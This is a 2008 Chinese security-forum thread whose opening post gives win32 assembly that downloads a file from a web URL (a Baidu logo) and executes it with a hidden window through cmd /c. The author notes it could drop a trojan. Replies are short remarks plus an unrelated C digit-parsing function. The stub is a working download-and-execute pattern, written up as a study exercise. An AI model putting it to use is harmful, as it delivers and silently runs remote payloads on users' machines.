首页
社区
课程
招聘
[原创]网上下载小程序并且执行~
发表于: 2008-12-24 14:41 4849

[原创]网上下载小程序并且执行~

2008-12-24 14:41
4849
;最近看shellcode相关的东西,里面很多地方调用了urlDownloadtofile 函数 它是urlmon 导出的一个函数
;自己也写了个win32asm来调用一下这个函数,去下载biadu的logo文件,然后用winExec函数去执行.大部分都
;api的应用没什么技巧.不过里面有一个小知识点就是 cmd /c 只有有了这个参数cmd才能顺利执行情况程序,
;这东西要是镶嵌到Exe中而且下载的是个小木马,winExec 的最右边参数是SW_HIDE还是能有点邪恶啊~
;api我就不多解释了 查查还是很容易的~
.386
.model flat,stdcall
option casemap:none

include windows.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib kernel32.lib
include URLMON.inc
includelib URLMON.LIB

.data
preserve  db 'd:\logo.gif',0
resource  db 'http://www.baidu.com/img/logo.gif',0
szText    db '下载成功',0
szCaption db '下载',0

cmd   db 'c:\windows\system32\cmd.exe /c d:\logo.gif',0
.code

start:
invoke URLDownloadToFile,NULL,offset resource,offset preserve,0,NULL
.if eax ==  S_OK
invoke MessageBox,NULL,offset szText,offset szCaption,MB_OK
.endif

push SW_HIDE
push offset cmd
call WinExec

invoke ExitProcess,NULL
end start

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 0
支持
分享
最新回复 (6)
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
MB_OK
2008-12-24 22:24
0
雪    币: 26
活跃值: (28)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
lz不是模拟urldownloadtofile这个函数,而是调用。
2008-12-24 23:32
0
雪    币: 104
活跃值: (72)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
4
赫赫 改掉~
2008-12-25 12:08
0
雪    币: 22
活跃值: (423)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
额..下载者这东西有年头了~~
2008-12-25 20:21
0
雪    币: 193
活跃值: (26)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
6
include windows.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib kernel32.lib
include URLMON.inc
includelib URLMON.LIB

把这些去掉  还有点看头
2008-12-27 16:14
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
//若支持负数,则需加个变
int get_num(char* str_ptr)
{
        ASSERT(str_ptr != NULL);
        char* pcur = str_ptr + strlen(str_ptr);

        int sum = 0;
        int dec = 0;

        int temp;
        while (pcur-- > str_ptr)
        {
                temp = *pcur - '0';
                if (temp >= 0 && temp <= 9)
                {
                        if (dec == 0)
                        {
                                sum += temp;
                                dec = 1;
                        }
                        else
                        {
                                dec *= 10;
                                sum += temp * dec;
                        }
                        continue;
                }
               
                dec = 0;
        }

        return sum;
}

        printf("%d\n", get_num("我30你40他50"));
2008-12-28 00:44
0
游客
登录 | 注册 方可回帖
返回
//